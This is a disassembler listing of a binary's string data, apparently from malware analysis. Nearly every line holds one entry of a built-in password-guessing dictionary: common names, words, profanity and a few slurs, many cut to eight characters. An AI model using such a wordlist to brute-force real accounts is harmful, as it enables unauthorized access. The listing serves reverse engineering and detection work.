aJoyce db 'joyce',0 ; DATA XREF: .nsp0:00429F20o
align 10h
aJournal db 'journal',0 ; DATA XREF: .nsp0:00429F1Co
aJoshua db 'joshua',0 ; DATA XREF: .nsp0:00429F18o
align 10h
aJoseph db 'joseph',0 ; DATA XREF: .nsp0:00429F14o
align 4
aJohnny db 'johnny',0 ; DATA XREF: .nsp0:00429F10o
align 10h
aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:00429F0Co
aJohn db 'john',0 ; DATA XREF: .nsp0:00429F08o
align 10h
aJody db 'jody',0 ; DATA XREF: .nsp0:00429F04o
align 4
aJoanne db 'joanne',0 ; DATA XREF: .nsp0:00429F00o
align 10h
aJixian db 'jixian',0 ; DATA XREF: .nsp0:00429EFCo
align 4
aJill db 'jill',0 ; DATA XREF: .nsp0:00429EF8o
align 10h
aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:00429EF4o
aJester db 'jester',0 ; DATA XREF: .nsp0:00429EF0o
align 10h
aJessica db 'jessica',0 ; DATA XREF: .nsp0:00429EECo
aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:00429EE8o
align 4
aJerry db 'jerry',0 ; DATA XREF: .nsp0:00429EE4o
align 4
aJenny db 'jenny',0 ; DATA XREF: .nsp0:00429EE0o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:00429EDCo
align 10h
aJenni db 'jenni',0 ; DATA XREF: .nsp0:00429ED8o
align 4
aJeff db 'jeff',0 ; DATA XREF: .nsp0:00429ED4o
align 10h
aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:00429ED0o
align 4
aJean db 'jean',0 ; DATA XREF: .nsp0:00429ECCo
align 10h
aJazz db 'jazz',0 ; DATA XREF: .nsp0:00429EC8o
align 4
aJava db 'java',0 ; DATA XREF: .nsp0:00429EC4o
align 10h
aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:00429EC0o
align 4
aJapan db 'japan',0 ; DATA XREF: .nsp0:00429EBCo
align 10h
aJanie db 'janie',0 ; DATA XREF: .nsp0:00429EB8o
align 4
aJanice db 'janice',0 ; DATA XREF: .nsp0:00429EB4o
align 10h
aJanet db 'janet',0 ; DATA XREF: .nsp0:00429EB0o
align 4
aJane db 'jane',0 ; DATA XREF: .nsp0:00429EACo
align 10h
aJail db 'jail',0 ; DATA XREF: .nsp0:00429EA8o
align 4
aJackie db 'jackie',0 ; DATA XREF: .nsp0:00429EA4o
align 10h
aIsis db 'isis',0 ; DATA XREF: .nsp0:00429EA0o
align 4
aIrishman db 'irishman',0 ; DATA XREF: .nsp0:00429E9Co
align 4
aIrene db 'irene',0 ; DATA XREF: .nsp0:00429E98o
align 4
aInvent db 'invent',0 ; DATA XREF: .nsp0:00429E94o
align 4
aInteger db 'integer',0 ; DATA XREF: .nsp0:00429E90o
aInside db 'inside',0 ; DATA XREF: .nsp0:00429E8Co
align 4
aInput db 'input',0 ; DATA XREF: .nsp0:00429E88o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:00429E84o
align 4
aInna db 'inna',0 ; DATA XREF: .nsp0:00429E80o
align 10h
aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:00429E7Co
align 4
aIngress db 'ingress',0 ; DATA XREF: .nsp0:00429E78o
aIngres db 'ingres',0 ; DATA XREF: .nsp0:00429E74o
align 4
aIndians db 'indians',0 ; DATA XREF: .nsp0:00429E70o
aIndiana db 'indiana',0 ; DATA XREF: .nsp0:00429E6Co
aIndian db 'indian',0 ; DATA XREF: .nsp0:00429E68o
align 10h
aIndia db 'india',0 ; DATA XREF: .nsp0:00429E64o
align 4
aInclude db 'include',0 ; DATA XREF: .nsp0:00429E60o
aImperial db 'imperial',0 ; DATA XREF: .nsp0:00429E5Co
align 4
aImmortal db 'immortal',0 ; DATA XREF: .nsp0:00429E58o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:00429E54o
align 4
aImage db 'image',0 ; DATA XREF: .nsp0:00429E50o
align 4
aIllumina db 'illumina',0 ; DATA XREF: .nsp0:00429E4Co
align 4
aIcecream db 'icecream',0 ; DATA XREF: .nsp0:00429E48o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:00429E44o
align 10h
aHyper db 'hyper',0 ; DATA XREF: .nsp0:00429E40o
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:00429E3Co
align 4
aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:00429E38o
align 10h
aHunter db 'hunter',0 ; DATA XREF: .nsp0:00429E34o
align 4
aHunt db 'hunt',0 ; DATA XREF: .nsp0:00429E30o
align 10h
aHttp db 'http',0 ; DATA XREF: .nsp0:00403613o
; .nsp0:00429E2Co
align 4
aHotel db 'hotel',0 ; DATA XREF: .nsp0:00429E28o
align 10h
aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:00429E24o
align 4
aHost db 'host',0 ; DATA XREF: .nsp0:00429E20o
align 10h
aHorus db 'horus',0 ; DATA XREF: .nsp0:00429E1Co
align 4
aHorse db 'horse',0 ; DATA XREF: .nsp0:00429E18o
align 10h
aHorror db 'horror',0 ; DATA XREF: .nsp0:00429E14o
align 4
aHorrible db 'horrible',0 ; DATA XREF: .nsp0:00429E10o
align 4
aHorny db 'horny',0 ; DATA XREF: .nsp0:00429E0Co
align 4
aHooters db 'hooters',0 ; DATA XREF: .nsp0:00429E08o
aHooker db 'hooker',0 ; DATA XREF: .nsp0:00429E04o
align 4
aHoney db 'honey',0 ; DATA XREF: .nsp0:00429E00o
align 4
aHomework db 'homework',0 ; DATA XREF: .nsp0:00429DFCo
align 10h
aHomer db 'homer',0 ; DATA XREF: .nsp0:00429DF8o
align 4
aHomepage db 'homepage',0 ; DATA XREF: .nsp0:00429DF4o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:00429DF0o
align 10h
aHolly db 'holly',0 ; DATA XREF: .nsp0:00429DECo
align 4
aHole db 'hole',0 ; DATA XREF: .nsp0:00429DE8o
align 10h
aHits db 'hits',0 ; DATA XREF: .nsp0:00429DE4o
align 4
aHitler db 'hitler',0 ; DATA XREF: .nsp0:00429DE0o
align 10h
aHighland db 'highland',0 ; DATA XREF: .nsp0:00429DDCo
align 4
aHigh db 'high',0 ; DATA XREF: .nsp0:00429DD8o
align 4
aHidden db 'hidden',0 ; DATA XREF: .nsp0:00429DD4o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:00429DD0o
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:00429DCCo
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:00429DC8o
align 10h
aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:00429DC4o
aHeroin db 'heroin',0 ; DATA XREF: .nsp0:00429DC0o
align 10h
aHero db 'hero',0 ; DATA XREF: .nsp0:00429DBCo
align 4
aHerbert db 'herbert',0 ; DATA XREF: .nsp0:00429DB8o
aHerb db 'herb',0 ; DATA XREF: .nsp0:00429DB4o
align 4
aHelp db 'help',0 ; DATA XREF: .nsp0:00429DB0o
align 10h
aHello db 'hello',0 ; DATA XREF: .nsp0:00429DACo
align 4
aHell db 'hell',0 ; DATA XREF: .nsp0:00429DA8o
align 10h
aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:00429DA4o
align 4
aHeidi db 'heidi',0 ; DATA XREF: .nsp0:00429DA0o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:00429D9Co
align 10h
aHeather db 'heather',0 ; DATA XREF: .nsp0:00429D98o
aHeathen db 'heathen',0 ; DATA XREF: .nsp0:00429D94o
aHeat db 'heat',0 ; DATA XREF: .nsp0:00429D90o
align 4
aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:00429D8Co
align 4
aHead db 'head',0 ; DATA XREF: .nsp0:00429D88o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:00429D84o
align 4
aHaven db 'haven',0 ; DATA XREF: .nsp0:00429D80o
align 4
aHate db 'hate',0 ; DATA XREF: .nsp0:00429D7Co
align 4
aHarvey db 'harvey',0 ; DATA XREF: .nsp0:00429D78o
align 4
aHarold db 'harold',0 ; DATA XREF: .nsp0:00429D74o
align 4
aHarmony db 'harmony',0 ; DATA XREF: .nsp0:00429D70o
aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:00429D6Co
align 4
aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:00429D68o
align 4
aHard db 'hard',0 ; DATA XREF: .nsp0:00429D64o
align 4
aHappenin db 'happenin',0 ; DATA XREF: .nsp0:00429D60o
align 4
aHandjob db 'handjob',0 ; DATA XREF: .nsp0:00429D5Co
aHandily db 'handily',0 ; DATA XREF: .nsp0:00429D58o
aHandel db 'handel',0 ; DATA XREF: .nsp0:00429D54o
align 10h
aHamster db 'hamster',0 ; DATA XREF: .nsp0:00429D50o
aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:00429D4Co
align 10h
aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:00429D48o
align 4
aHair db 'hair',0 ; DATA XREF: .nsp0:00429D44o
align 4
aHagar db 'hagar',0 ; DATA XREF: .nsp0:00429D40o
align 4
aHacked db 'hacked',0 ; DATA XREF: .nsp0:00429D3Co
align 4
aHack db 'hack',0 ; DATA XREF: .nsp0:00429D38o
align 4
aGuntis db 'guntis',0 ; DATA XREF: .nsp0:00429D34o
align 4
aGumption db 'gumption',0 ; DATA XREF: .nsp0:00429D30o
align 10h
aGuitar db 'guitar',0 ; DATA XREF: .nsp0:00429D2Co
align 4
aGuess db 'guess',0 ; DATA XREF: .nsp0:00429D28o
align 10h
aGucci db 'gucci',0 ; DATA XREF: .nsp0:00429D24o
align 4
aGuardian db 'guardian',0 ; DATA XREF: .nsp0:00429D20o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:00429D1Co
aGroup db 'group',0 ; DATA XREF: .nsp0:00429D18o
align 4
aGreen db 'green',0 ; DATA XREF: .nsp0:00429D14o
align 4
aGreat db 'great',0 ; DATA XREF: .nsp0:00429D10o
align 4
aGrant db 'grant',0 ; DATA XREF: .nsp0:00429D0Co
align 4
aGrand db 'grand',0 ; DATA XREF: .nsp0:00429D08o
align 4
aGrahm db 'grahm',0 ; DATA XREF: .nsp0:00429D04o
align 4
aGraham db 'graham',0 ; DATA XREF: .nsp0:00429D00o
align 4
aGrades db 'grades',0 ; DATA XREF: .nsp0:00429CFCo
align 4
aGovermen db 'govermen',0 ; DATA XREF: .nsp0:00429CF8o
align 4
aGouge db 'gouge',0 ; DATA XREF: .nsp0:00429CF4o
align 10h
aGosling db 'gosling',0 ; DATA XREF: .nsp0:00429CF0o
aGorges db 'gorges',0 ; DATA XREF: .nsp0:00429CECo
align 10h
aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:00429CE8o
align 4
aGood db 'good',0 ; DATA XREF: .nsp0:00429CE4o
align 4
aGolfer db 'golfer',0 ; DATA XREF: .nsp0:00429CE0o
align 4
aGolf db 'golf',0 ; DATA XREF: .nsp0:00429CDCo
align 4
aGolden db 'golden',0 ; DATA XREF: .nsp0:00429CD8o
align 4
aGold db 'gold',0 ; DATA XREF: .nsp0:00429CD4o
align 4
aGlacier db 'glacier',0 ; DATA XREF: .nsp0:00429CD0o
aGirl db 'girl',0 ; DATA XREF: .nsp0:00429CCCo
align 4
aGinger db 'ginger',0 ; DATA XREF: .nsp0:00429CC8o
align 4
aGina db 'gina',0 ; DATA XREF: .nsp0:00429CC4o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:00429CC0o
align 10h
aGibson db 'gibson',0 ; DATA XREF: .nsp0:00429CBCo
align 4
aGhost db 'ghost',0 ; DATA XREF: .nsp0:00429CB8o
align 10h
aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:00429CB4o
align 4
aGerm db 'germ',0 ; DATA XREF: .nsp0:00429CB0o
align 4
aGeorge db 'george',0 ; DATA XREF: .nsp0:00429CACo
align 4
aGauss db 'gauss',0 ; DATA XREF: .nsp0:00429CA8o
align 4
aGatt db 'gatt',0 ; DATA XREF: .nsp0:00429CA4o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:00429CA0o
align 4
aGateway db 'gateway',0 ; DATA XREF: .nsp0:00429C9Co
aGarfield db 'garfield',0 ; DATA XREF: .nsp0:00429C98o
align 4
aGardner db 'gardner',0 ; DATA XREF: .nsp0:00429C94o
aGames db 'games',0 ; DATA XREF: .nsp0:00429C90o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:00429C8Co
aFungible db 'fungible',0 ; DATA XREF: .nsp0:00429C88o
align 10h
aFunction db 'function',0 ; DATA XREF: .nsp0:00429C84o
align 4
aFudge db 'fudge',0 ; DATA XREF: .nsp0:00429C80o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:00429C7Co
aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:00429C78o
align 4
aFucking db 'fucking',0 ; DATA XREF: .nsp0:00429C74o
aFucker db 'fucker',0 ; DATA XREF: .nsp0:00429C70o
align 4
aFuck db 'fuck',0 ; DATA XREF: .nsp0:00429C6Co
align 4
aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:00429C68o
align 4
aFrog db 'frog',0 ; DATA XREF: .nsp0:00429C64o
align 4
aFrighten db 'frighten',0 ; DATA XREF: .nsp0:00429C60o
align 4
aFriends db 'friends',0 ; DATA XREF: .nsp0:00429C5Co
aFriend db 'friend',0 ; DATA XREF: .nsp0:00429C58o
align 4
aFriday db 'friday',0 ; DATA XREF: .nsp0:00429C54o
align 10h
aFrench db 'french',0 ; DATA XREF: .nsp0:00429C50o
align 4
aFreedom db 'freedom',0 ; DATA XREF: .nsp0:00429C4Co
aFree db 'free',0 ; DATA XREF: .nsp0:00429C48o
align 4
aFred db 'fred',0 ; DATA XREF: .nsp0:00429C44o
align 10h
aFreak db 'freak',0 ; DATA XREF: .nsp0:00429C40o
align 4
aFrank db 'frank',0 ; DATA XREF: .nsp0:00429C3Co
align 10h
aFrance db 'france',0 ; DATA XREF: .nsp0:00429C38o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:00429C34o
aFourier db 'fourier',0 ; DATA XREF: .nsp0:00429C30o
aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:00429C2Co
align 4
aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:00429C28o
align 10h
aFormat db 'format',0
align 4
aForm db 'form',0
align 10h
aForever db 'forever',0
aForesigh db 'foresigh',0
align 4
aFord db 'ford',0
align 4
aForce db 'force',0
align 4
aFootball db 'football',0
align 10h
aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:00429C08o
align 4
aFool db 'fool',0
align 4
aFood db 'food',0
align 4
aFlowers db 'flowers',0
aFlower db 'flower',0
align 4
aFlorida db 'florida',0
aFloat db 'float',0 ; DATA XREF: .nsp0:00429BF0o
align 4
aFlakes db 'flakes',0 ; DATA XREF: .nsp0:00429BECo
align 4
aFishers db 'fishers',0 ; DATA XREF: .nsp0:00429BE8o
aFirewall db 'firewall',0 ; DATA XREF: .nsp0:00429BE4o
align 4
aFire db 'fire',0
align 10h
aFinite db 'finite',0
align 4
aFile db 'file',0 ; DATA XREF: .nsp0:00405E02o
align 10h
aFight db 'fight',0
align 4
aField db 'field',0
align 10h
aFidelity db 'fidelity',0
align 4
aFerrari db 'ferrari',0
aFermat db 'fermat',0 ; DATA XREF: .nsp0:00429BC4o
align 4
aFender db 'fender',0 ; DATA XREF: .nsp0:00429BC0o
align 4
aFelicia db 'felicia',0
aFeds db 'feds',0 ; DATA XREF: .nsp0:00429BB8o
align 4
aFear db 'fear',0
align 4
aFast db 'fast',0 ; DATA XREF: .nsp0:00429BB0o
align 4
aFart db 'fart',0 ; DATA XREF: .nsp0:00429BACo
align 4
aFaraday db 'faraday',0 ; DATA XREF: .nsp0:00429BA8o
aFarad db 'farad',0 ; DATA XREF: .nsp0:00429BA4o
align 4
aFamily db 'family',0 ; DATA XREF: .nsp0:00429BA0o
align 4
aFalse db 'false',0
align 4
aFalcon db 'falcon',0
align 4
aFaith db 'faith',0
align 4
aFairway db 'fairway',0
aExtensio db 'extensio',0 ; DATA XREF: .nsp0:00429B8Co
align 10h
aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:00429B88o
align 4
aExplorer db 'explorer',0
align 4
aExplore db 'explore',0
aExplode db 'explode',0 ; DATA XREF: .nsp0:00429B7Co
aExpert db 'expert',0 ; DATA XREF: .nsp0:00429B78o
align 10h
aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:00429B74o
align 4
aEuclid db 'euclid',0
align 10h
aEternity db 'eternity',0 ; DATA XREF: .nsp0:00429B6Co
align 4
aEstate db 'estate',0 ; DATA XREF: .nsp0:00429B68o
align 4
aEstablis db 'establis',0 ; DATA XREF: .nsp0:00429B64o
align 10h
aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:00429B60o
align 4
aErotic db 'erotic',0 ; DATA XREF: .nsp0:00429B5Co
align 10h
aErin db 'erin',0 ; DATA XREF: .nsp0:00429B58o
align 4
aErika db 'erika',0 ; DATA XREF: .nsp0:00429B54o
align 10h
aErica db 'erica',0 ; DATA XREF: .nsp0:00429B50o
align 4
aEric db 'eric',0 ; DATA XREF: .nsp0:00429B4Co
align 10h
aErenity db 'erenity',0 ; DATA XREF: .nsp0:00429B48o
aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:00429B44o
align 10h
aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:00429B40o
align 4
aEnter db 'enter',0 ; DATA XREF: .nsp0:00429B3Co
align 4
aEnglish db 'english',0 ; DATA XREF: .nsp0:00429B38o
aEngland db 'england',0 ; DATA XREF: .nsp0:00429B34o
aEngineer db 'engineer',0 ; DATA XREF: .nsp0:00429B30o
align 10h
aEngine db 'engine',0 ; DATA XREF: .nsp0:00429B2Co
align 4
aEnemy db 'enemy',0 ; DATA XREF: .nsp0:00429B28o
align 10h
aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:00429B24o
align 4
aEmily db 'emily',0 ; DATA XREF: .nsp0:00429B20o
align 4
aEmerald db 'emerald',0 ; DATA XREF: .nsp0:00429B1Co
aEmail db 'email',0 ; DATA XREF: .nsp0:00406AF2o
; .nsp0:00429B18o
align 4
aEllen db 'ellen',0 ; DATA XREF: .nsp0:00429B14o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:00429B10o
align 4
aElephant db 'elephant',0 ; DATA XREF: .nsp0:00429B0Co
align 4
aElectron db 'electron',0 ; DATA XREF: .nsp0:00429B08o
align 10h
aElanor db 'elanor',0 ; DATA XREF: .nsp0:00429B04o
align 4
aElaine db 'elaine',0 ; DATA XREF: .nsp0:00429B00o
align 10h
aEinstein db 'einstein',0 ; DATA XREF: .nsp0:00429AFCo
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:00429AF8o
align 4
aEileen db 'eileen',0 ; DATA XREF: .nsp0:00429AF4o
align 10h
aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:00429AF0o
align 4
aEgghead db 'egghead',0 ; DATA XREF: .nsp0:00429AECo
aEdwina db 'edwina',0 ; DATA XREF: .nsp0:00429AE8o
align 4
aEdwin db 'edwin',0 ; DATA XREF: .nsp0:00429AE4o
align 4
aEducatio db 'educatio',0 ; DATA XREF: .nsp0:00429AE0o
align 10h
aEducation db 'education',0 ; DATA XREF: .nsp0:00429ADCo
align 4
aEdition db 'edition',0 ; DATA XREF: .nsp0:00429AD8o
aEdit db 'edit',0 ; DATA XREF: .nsp0:00429AD4o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:00429AD0o
align 4
aEdges db 'edges',0 ; DATA XREF: .nsp0:00429ACCo
align 10h
aEddie db 'eddie',0 ; DATA XREF: .nsp0:00429AC8o
align 4
aEcho db 'echo',0 ; DATA XREF: .nsp0:00429AC4o
align 10h
aEatme db 'eatme',0 ; DATA XREF: .nsp0:00429AC0o
align 4
aEasy db 'easy',0 ; DATA XREF: .nsp0:00429ABCo
align 10h
aEasier db 'easier',0 ; DATA XREF: .nsp0:00429AB8o
align 4
aEarth db 'earth',0 ; DATA XREF: .nsp0:00429AB4o
align 10h
aEagle db 'eagle',0 ; DATA XREF: .nsp0:00429AB0o
align 4
aEager db 'eager',0 ; DATA XREF: .nsp0:00429AACo
align 10h
aDyke db 'dyke',0 ; DATA XREF: .nsp0:00429AA8o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:00429AA4o
aDuncan db 'duncan',0 ; DATA XREF: .nsp0:00429AA0o
align 4
aDulce db 'dulce',0 ; DATA XREF: .nsp0:00429A9Co
align 10h
aDuke db 'duke',0 ; DATA XREF: .nsp0:00429A98o
align 4
aDuelist db 'duelist',0 ; DATA XREF: .nsp0:00429A94o
aDude db 'dude',0 ; DATA XREF: .nsp0:00429A90o
align 4
aDuck db 'duck',0 ; DATA XREF: .nsp0:00429A8Co
align 10h
aDrought db 'drought',0 ; DATA XREF: .nsp0:00429A88o
aDrive db 'drive',0 ; DATA XREF: .nsp0:00429A84o
align 10h
aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:00429A80o
align 4
aDragon db 'dragon',0 ; DATA XREF: .nsp0:00429A7Co
align 10h
aDownload db 'download',0 ; DATA XREF: .nsp0:00429A78o
align 4
aDope db 'dope',0 ; DATA XREF: .nsp0:00429A74o
align 4
aDoors db 'doors',0 ; DATA XREF: .nsp0:00429A70o
align 4
aDoor db 'door',0 ; DATA XREF: .nsp0:00429A6Co
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:00429A68o
align 10h
aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:00429A64o
align 4
aDoomii db 'doomii',0 ; DATA XREF: .nsp0:00429A60o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:00429A5Co
align 4
aDoom db 'doom',0 ; DATA XREF: .nsp0:00429A58o
align 4
aDong db 'dong',0 ; DATA XREF: .nsp0:00429A54o
align 4
aDollar db 'dollar',0 ; DATA XREF: .nsp0:00429A50o
align 4
aDoctor db 'doctor',0 ; DATA XREF: .nsp0:00429A4Co
align 4
aDisplay_0 db 'display',0 ; DATA XREF: .nsp0:00429A48o
aDisney db 'disney',0 ; DATA XREF: .nsp0:00429A44o
align 4
aDiskette db 'diskette',0 ; DATA XREF: .nsp0:00429A40o
align 4
aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:00429A3Co
align 10h
aDiscover db 'discover',0 ; DATA XREF: .nsp0:00429A38o
align 4
aDisclose db 'disclose',0 ; DATA XREF: .nsp0:00429A34o
align 4
aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:00429A30o
align 4
aDisc db 'disc',0 ; DATA XREF: .nsp0:00429A2Co
align 4
aDirty db 'dirty',0 ; DATA XREF: .nsp0:00429A28o
align 4
aDirector db 'director',0 ; DATA XREF: .nsp0:00429A24o
align 10h
aDirect db 'direct',0 ; DATA XREF: .nsp0:00429A20o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:00429A1Co
aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:00429A18o
align 4
aDigital db 'digital',0 ; DATA XREF: .nsp0:00429A14o
aDieter db 'dieter',0 ; DATA XREF: .nsp0:00429A10o
align 4
aDiet db 'diet',0 ; DATA XREF: .nsp0:00429A0Co
align 4
aDiehard db 'diehard',0 ; DATA XREF: .nsp0:00429A08o
aDick db 'dick',0 ; DATA XREF: .nsp0:00429A04o
align 4
aDice db 'dice',0 ; DATA XREF: .nsp0:00429A00o
align 4
aDiane db 'diane',0 ; DATA XREF: .nsp0:004299FCo
align 4
aDiana db 'diana',0 ; DATA XREF: .nsp0:004299F8o
align 4
aDiamond db 'diamond',0 ; DATA XREF: .nsp0:004299F4o
aDial db 'dial',0 ; DATA XREF: .nsp0:004299F0o
align 4
aDevice db 'device',0 ; DATA XREF: .nsp0:004299ECo
align 4
aDevelop db 'develop',0 ; DATA XREF: .nsp0:004299E8o
aDesperat db 'desperat',0 ; DATA XREF: .nsp0:004299E4o
align 4
aDesktop db 'desktop',0 ; DATA XREF: .nsp0:004299E0o
aDesk db 'desk',0 ; DATA XREF: .nsp0:004299DCo
align 4
aDesiree db 'desiree',0 ; DATA XREF: .nsp0:004299D8o
aDennis db 'dennis',0 ; DATA XREF: .nsp0:004299D4o
align 4
aDenise db 'denise',0 ; DATA XREF: .nsp0:004299D0o
align 10h
aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:004299CCo
align 4
aDeluge db 'deluge',0 ; DATA XREF: .nsp0:004299C8o
align 4
aDelta db 'delta',0 ; DATA XREF: .nsp0:004299C4o
align 4
aDefoe db 'defoe',0 ; DATA XREF: .nsp0:004299C0o
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:004299BCo
aDeck db 'deck',0 ; DATA XREF: .nsp0:004299B4o
align 4
aDecember db 'december',0 ; DATA XREF: .nsp0:004299B0o
align 10h
aDebug db 'debug',0 ; DATA XREF: .nsp0:004299ACo
align 4
aDeborah db 'deborah',0 ; DATA XREF: .nsp0:004299A8o
aDebbie db 'debbie',0 ; DATA XREF: .nsp0:004299A4o
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:004299A0o
align 4
aDead db 'dead',0 ; DATA XREF: .nsp0:0042999Co
align 4
aDawn db 'dawn',0 ; DATA XREF: .nsp0:00429998o
align 4
aDave db 'dave',0 ; DATA XREF: .nsp0:00429994o
align 4
aData db 'data',0 ; DATA XREF: .nsp0:00429990o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042998Co
align 10h
aDark db 'dark',0 ; DATA XREF: .nsp0:00429988o
align 4
aDapper db 'dapper',0 ; DATA XREF: .nsp0:00429984o
align 10h
aDanny db 'danny',0 ; DATA XREF: .nsp0:00429980o
align 4
aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042997Co
align 4
aDaniel db 'daniel',0 ; DATA XREF: .nsp0:00429978o
align 4
aDancer db 'dancer',0 ; DATA XREF: .nsp0:00429974o
align 4
aDana db 'dana',0 ; DATA XREF: .nsp0:00429970o
align 4
aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042996Co
align 4
aDaemon db 'daemon',0 ; DATA XREF: .nsp0:00429968o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:00429964o
aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:00429960o
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042995Co
align 4
aCyber_1 db 'cyber',0 ; DATA XREF: .nsp0:00429958o
align 4
aCustomer db 'customer',0 ; DATA XREF: .nsp0:00429954o
align 10h
aCunt db 'cunt',0 ; DATA XREF: .nsp0:00429950o
align 4
aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042994Co
align 10h
aCrystal db 'crystal',0 ; DATA XREF: .nsp0:00429948o
aCristina db 'cristina',0 ; DATA XREF: .nsp0:00429944o
align 4
aCriminal db 'criminal',0 ; DATA XREF: .nsp0:00429940o
align 10h
aCrime db 'crime',0 ; DATA XREF: .nsp0:0042993Co
align 4
aCretin db 'cretin',0 ; DATA XREF: .nsp0:00429938o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: .nsp0:00429934o
align 4
aCredit db 'credit',0 ; DATA XREF: .nsp0:00429930o
align 4
aCreature db 'creature',0 ; DATA XREF: .nsp0:0042992Co
align 10h
aCreation db 'creation',0 ; DATA XREF: .nsp0:00429928o
align 4
aCreate db 'create',0 ; DATA XREF: .nsp0:00429924o
align 4
aCream db 'cream',0 ; DATA XREF: .nsp0:00429920o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042991Co
align 4
aCrack db 'crack',0 ; DATA XREF: .nsp0:00429918o
align 10h
aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:00429914o
align 4
aCouscous db 'couscous',0 ; DATA XREF: .nsp0:00429910o
align 4
aCountry db 'country',0 ; DATA XREF: .nsp0:0042990Co
aCounters db 'counters',0 ; DATA XREF: .nsp0:00429908o
align 4
aCorrect db 'correct',0 ; DATA XREF: .nsp0:00429904o
aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:00429900o
align 4
aCopy db 'copy',0 ; DATA XREF: .nsp0:004298FCo
align 4
aCops db 'cops',0 ; DATA XREF: .nsp0:004298F8o
align 4
aCopper db 'copper',0 ; DATA XREF: .nsp0:004298F4o
align 4
aCooper db 'cooper',0 ; DATA XREF: .nsp0:004298F0o
align 4
aCool db 'cool',0 ; DATA XREF: .nsp0:004298ECo
align 4
aCookie db 'cookie',0 ; DATA XREF: .nsp0:004298E8o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:004298E4o
align 4
aCook db 'cook',0 ; DATA XREF: .nsp0:004298E0o
align 10h
aContinue db 'continue',0 ; DATA XREF: .nsp0:0040604Bo
; .nsp0:004298DCo
align 4
aConsole db 'console',0 ; DATA XREF: .nsp0:004298D8o
aConserva db 'conserva',0 ; DATA XREF: .nsp0:004298D4o
align 10h
aConnie db 'connie',0 ; DATA XREF: .nsp0:004298D0o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409A6D+595o
; .nsp0:004298CCo
aCondom db 'condom',0 ; DATA XREF: .nsp0:004298C8o
align 4
aCondo db 'condo',0 ; DATA XREF: .nsp0:004298C4o
align 10h
aComrades db 'comrades',0 ; DATA XREF: .nsp0:004298C0o
align 4
aComrade db 'comrade',0 ; DATA XREF: .nsp0:004298BCo
aComputin db 'computin',0 ; DATA XREF: .nsp0:004298B8o
align 10h
